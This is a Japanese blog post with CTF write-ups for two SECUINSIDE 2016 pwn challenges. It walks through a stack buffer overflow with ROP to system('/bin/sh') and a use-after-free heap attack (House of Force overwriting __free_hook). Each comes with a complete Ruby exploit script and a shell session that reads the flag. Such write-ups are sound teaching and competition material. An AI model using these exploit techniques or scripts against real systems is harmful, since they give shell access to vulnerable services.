しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

SECUINSIDE CTF Quals 2016 writeup

SECUINSIDE CTF Quals 2016にbinjaで参加しました。

チームで1264pts入れて8位、
私はpwn 2問+CGC問全部の計6問解いて905pts(たぶん)+α(breakthrough points)入れました。

解いたpwn 2問のwriteupを久々に置いておきます(*´ω`*)

noted (pwn 180)

$ ./noted
[Simple NOTED]
Menu
1) Login
2) Register
3) Exit

1
userid : charo
userpw : hoge

Menu
1) List note
2) Write note
3) Read note
4) Edit note
5) Delete note
6) Recover note
7) Empty recyclecan
8) Logout

ファイルベースのメモ管理プログラム。

まずは下調べ。

$ file noted
noted: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b652f881e7a5d7cb1b47b5cee548251ce1aabeaf, stripped

$ checksec --file noted
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   noted

主な仕様はこんな感じ。

  • ログインメニュー
    • 1) Login
      • ユーザIDとパスワードでアカウント認証し、メインメニューへ
    • 2) Register
    • 3) Exit
      • 終了
  • メインメニュー
    • 1) List note
      • ユーザディレクトリにあるファイルの一覧が出力される
    • 2) Write note
      • ユーザディレクトリにファイルを作成する
      • 設定できるのは以下の項目
        • title(作成されるメモファイルのファイル名。ここもalphanumericでないと怒られるので、ディレクトリトラバーサルは不可)
        • password(閲覧・編集用のパスワード。NULL終端も含めて16バイト)
        • filedata length(1024バイト以上を指定すると、強制的に0バイトにされてしまう)
        • filedata(filedata lengthが0バイトの場合、内容として"(EMPTY)"という文字列が使われる)
      • passwordとfiledataを連結したファイルが作られる
      • filedataが空のファイルは作れないようにしたつもりになっているが、filedata入力時に1バイトだけ入れて入力を切ると、filedataが空のファイルが作れる
    • 3) Read note
    • 4) Edit note
      • 指定したファイルを編集できる
      • 新しいデータを入力する前に、編集前のファイルの内容が出力される
      • 元々のファイルサイズより大きなデータは入力できない
      • filedataが空のファイルは存在し得ないという前提で作っているのか、filedataが空のファイルを編集しようとするとバグる
    • 5) Delete note
      • 指定したファイルをゴミ箱へ移動する
    • 6) Recover note
      • 指定したファイルをゴミ箱から復元する
    • 7) Empty recyclecan
      • ゴミ箱を空にする
    • 8) Logout
      • ログアウトし、ログインメニューへ

Edit noteの実装を見てみると、

int length;
int fd;
char password[16], buf[1024];

// ファイル選択・パスワードチェック
// (snip)

// 元々の内容を取得
length = read(fd, buf, filesize - sizeof(password)) - 1;
buf[length] = '\0';
close(fd);

// 元々の内容を出力
printf("original data : ");
write(1, buf, length);

// 編集
fd = open(filename, O_WRONLY);
printf("new file data (new file can't exceed original size) : ");
length = read(0, buf, length) - 1;
buf[length] = '\0';

// 書き出し
write(fd, password, sizeof(password));
write(fd, buf, length);
close(fd);

// (以下略)

という感じになっている。

ここでfiledataが空のファイルを編集しようとすると、最初のread後のlengthが-1になってしまうため、
元々の内容を出力する部分でwrite(1, buf, -1)が実行されてスタックがダンプされる上、
編集処理でread(0, buf, -1)が実行されてstack bofも起きる。

ということで、

  1. Write noteでfiledataが空のファイルを作る
  2. Edit noteで1.のファイルを選ぶことでスタックをダンプさせ、libcのアドレスをリークさせる
  3. stack bofでリターンアドレス以下を書き換えてsystem("/bin/sh")を呼ぶ

という手順で攻略した。

#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "52.78.11.234"
    port = 20003
    libc_offset = {
        "__libc_start_main_ret" => 0x18637,
        "system" => 0x3a920,
        "/bin/sh" => 0x15909f,
    }
else
    host = "localhost"
    port = 20003
    libc_offset = {
        "__libc_start_main_ret" => 0x19af3,
        "system" => 0x40310,
        "/bin/sh" => 0x16084c
    }
end

offset = {
    "edit_note_ret" => 0x292a,
}

PwnTube.open(host, port){|tube|

    filename = "mikudayo"

    # puts "[*] register"
    # tube.recv_until("3) Exit\n\n")
    # tube.send("2")
    # tube.recv_until("userid : ")
    # tube.sendline("charo")
    # tube.recv_until("userpw : ")
    # tube.sendline("hoge")

    puts "[*] login"
    tube.recv_until("3) Exit\n\n")
    tube.send("1")
    tube.recv_until("userid : ")
    tube.sendline("charo")
    tube.recv_until("userpw : ")
    tube.sendline("hoge")

    puts "[*] create empty note"
    tube.recv_until("8) Logout\n\n")
    tube.send("2")
    tube.recv_until("title : ")
    tube.sendline(filename)
    tube.recv_until("filedata length : ")
    tube.sendline("100")
    tube.recv_until("password : ")
    tube.sendline("1" * 15)
    tube.recv_until("filedata : ")
    tube.sendline("")

    puts "[*] edit note"
    tube.recv_until("8) Logout\n\n")
    tube.send("4")
    tube.recv_until("title : ")
    tube.sendline(filename)
    tube.recv_until("password : ")
    tube.sendline("1" * 15)

    puts "[*] leak pie base"
    tube.recv_until("original data : ")
    tube.recv(0x48c)
    pie_base = tube.recv(4).unpack("L")[0] - offset["edit_note_ret"]
    puts "pie base = 0x%08x" % pie_base

    puts "[*] leak libc base"
    tube.recv(0x3c)
    libc_base = tube.recv(4).unpack("L")[0] - libc_offset["__libc_start_main_ret"]
    puts "libc base = 0x%08x" % libc_base

    puts "[*] send rop"
    sleep(1)
    tube.recv(0x10000)
    payload = ""
    payload << "\0" * 0x48c
    payload << [libc_base + libc_offset["system"], 0xdeadbeef, libc_base + libc_offset["/bin/sh"]].pack("L*")
    tube.sendline(payload)

    puts "[*] trigger"
    tube.interactive
}
$ ruby noted.rb
[*] connected
[*] login
[*] create empty note
[*] edit note
[*] leak pie base
pie base = 0xf7729000
[*] leak libc base
libc base = 0xf754c000
[*] send rop
[*] trigger
[*] interactive mode
id
uid=1000(noted) gid=1000(noted) groups=1000(noted)
/flag_x
df72b22170fed79911e4a69c68a1b9a0
exit
[*] end interactive mode
[*] connection closed

FLAG: df72b22170fed79911e4a69c68a1b9a0

manager (pwn 225)

forkサーバ型のヒープ問。

まずは下調べ。

$ file manager
manager: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=fcd6987e647a5d93dff3dfa9ffe2820fd8491920, stripped

$ checksec --file manager
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   manager

主な仕様はこんな感じ。

  • Slot構造体用の領域10個をmallocで確保し、各領域へのポインタをbssに格納
  • 以下のコマンドを受け付ける無限ループに入る(メニューの類は用意されていないため、各コマンドの名称は独自につけた)
    • init
      • 指定のSlotis_usedを1にセットする
    • read data
      • 指定のSlotcontentが指す領域にデータをlengthバイト分読み込む
    • allocate
      • 指定したサイズの領域をmallocで確保し、指定のSlotcontentにセットする
      • Slotlengthも設定される
      • ただし、4097バイト以上のサイズを指定した場合はmallocは行われず、lengthに4096がセットされるだけ
        これを利用することで、contentのサイズとlengthが合わない、という状況を作れる
    • reallocate
      • 指定のSlotcontent用の領域を、指定したサイズでrealloc
      • realloc後、content用のデータを入力する
      • 4097バイト以上のサイズを指定した場合は、強制的に4096バイトが指定される
      • 負のサイズが指定できる
    • show
      • 指定のSlotcontentを出力する
      • freeコマンドでcontentをfreeした状態であっても出力される
    • free
      • 指定のSlotcontentが指す領域をfreeする
      • lengthis_usedは初期化される
      • free後もcontentがfree済みの領域を指したまま

なお、Slot構造体の定義はこんな感じだと思われる。

struct Slot {  // size=0x28
    long unused_0;  // +0x0
    int length;  // +0x8
    int unused_c;  // +0xc
    char *content;  // +0x10
    int last_command;  // +0x18
    int unused_1c;  // +0x1c
    int is_used;  // +0x20
    int unused_24  // +0x24
}

この問題はUAFでtopチャンクのサイズを書き換えられる上、任意サイズのmallocが呼べるので、House of Forceが使える。

  1. free済みのSlotに対してshowコマンドを実行することで、ヒープとlibcのアドレスをリークさせる
  2. free済みのSlotlengthをallocateコマンド経由で4096にセットした後、read dataコマンドを呼ぶことでUAF + heap bofし、topチャンクのサイズを-1に書き換える
  3. 未使用のSlotに対してreallocateコマンドを実行することでrealloc(NULL, 負のサイズ)malloc(負のサイズ)と等価)を実行する
  4. 3.のreallocateで指定したサイズがうまく調節できていると、次のallocateでSlotの実体がある部分のアドレスがcontentにセットされる(House of Force)
  5. Slot構造体を自由に書き換えることができるようになるので、content__free_hookに向け、system関数のアドレスを書き込む
  6. freeコマンドを実行することでsystem関数を呼べるようになる

という手順で攻略した。

#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "chal.cykor.kr"
    port = 22222
    libc_offset = {
        "main_arena" => 0x3c4c00,
        "__free_hook" => 0x3c69a8,
        "system" => 0x44380,
    }
else
    host = "localhost"
    port = 22222
    libc_offset = {
        "main_arena" => 0x3be760,
        "__free_hook" => 0x3c0a10,
        "system" => 0x46590,
    }
end

def init(id)
    @tube.send([0, 0, 15, id].pack("L*"))
end

def read_data(id, data)
    @tube.send([1, 0, 15, id].pack("L*"))
    @tube.send(data)
end

def allocate(id, size)
    @tube.send([2, size, 15, id].pack("L*"))
end

def reallocate(id, size, data)
    @tube.send([3, 0, 15, 0].pack("L*"))
    @tube.send([size, id].pack("L*"))
    @tube.send(data)
end

def show(id)
    @tube.send([4, 0, 15, 0].pack("L*"))
    @tube.send([id].pack("L"))
end

def free(id)
    @tube.send([5, 0, 15, 0].pack("L*"))
    @tube.send([id].pack("L"))
end

PwnTube.open(host, port){|tube|
    @tube = tube
    tube.wait_time = 0.1

    tube.recv_until("alloc manager!\n")

    puts "[*] send command"
    init(0)
    allocate(0, 256)
    read_data(0, "\0" * 256)
    init(1)
    allocate(1, 256)
    read_data(1, "/bin/sh <&4 >&4".ljust(0x100, "\0"))

    puts "[*] leak libc base"
    init(2)
    init(3)
    allocate(2, 256)
    read_data(2, "\0" * 256)
    allocate(3, 256)
    read_data(3, "\0" * 256)
    free(2)
    init(2)
    free(3)
    init(2)
    show(2)
    libc_base = tube.recv_capture(/2=> (.*)\n\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x58
    puts "libc base = 0x%016x" % libc_base

    puts "[*] leak heap address"
    init(2)
    allocate(2, 8)
    read_data(2, "A" * 8)
    init(3)
    allocate(3, 8)
    read_data(3, "A" * 8)
    free(2)
    init(2)
    free(3)
    init(3)
    show(3)
    heap = tube.recv_capture(/3=> (.*)\n\n/m)[0].ljust(8, "\0").unpack("Q")[0]
    puts "heap address = 0x%016x" % heap

    puts "[*] overwrite top->size using UAF"
    init(3)
    allocate(3, 4097)
    init(3)
    allocate(2, 8)
    read_data(3, [0, 0, 0, -1].pack("Q*").ljust(4096, "\0"))

    puts "[*] House of Force"
    init(4)
    reallocate(4, 0xfffffd00, "A")
    init(5)
    allocate(5, 0x80)

    puts "[*] overwrite slot"
    payload = ""
    payload << [0].pack("Q")
    payload << [8].pack("Q")  # length
    payload << [libc_base + libc_offset["__free_hook"]].pack("Q")  # ptr
    payload << [1, 15].pack("L*")
    payload << [1].pack("Q")  # is_used
    read_data(5, payload.ljust(0x80, "\0"))

    puts "[*] overwrite __free_hook to system"
    init(8)
    allocate(8, 8)
    read_data(7, [libc_base + libc_offset["system"]].pack("Q"))

    puts "[*] trigger"
    free(1)

    tube.interactive
}
$ ruby manager.rb
[*] connected
[*] send command
[*] leak libc base
libc base = 0x00007fb636e17000
[*] leak heap address
heap address = 0x00007fb6383d98c0
[*] overwrite top->size using uaf
[*] house of force
[*] overwrite slot
[*] overwrite __free_hook
[*] trigger
[*] interactive mode
id
uid=1000(alloc) gid=1000(alloc) groups=1000(alloc)
ls -la
total 24
drwxr-x---. 2 root alloc    31 Jul  8 03:40 .
drwxr-xr-x. 3 root root     18 Jul  8 03:40 ..
-rw-r-----. 1 root alloc    33 Jul  7 15:17 flag
-rwxr-x---. 1 root alloc 18888 Jul  7 14:46 manager
cat flag
8353f29ae41c9fb6ffe32848dc380c8f
exit
[*] end interactive mode
[*] connection closed

FLAG: 8353f29ae41c9fb6ffe32848dc380c8f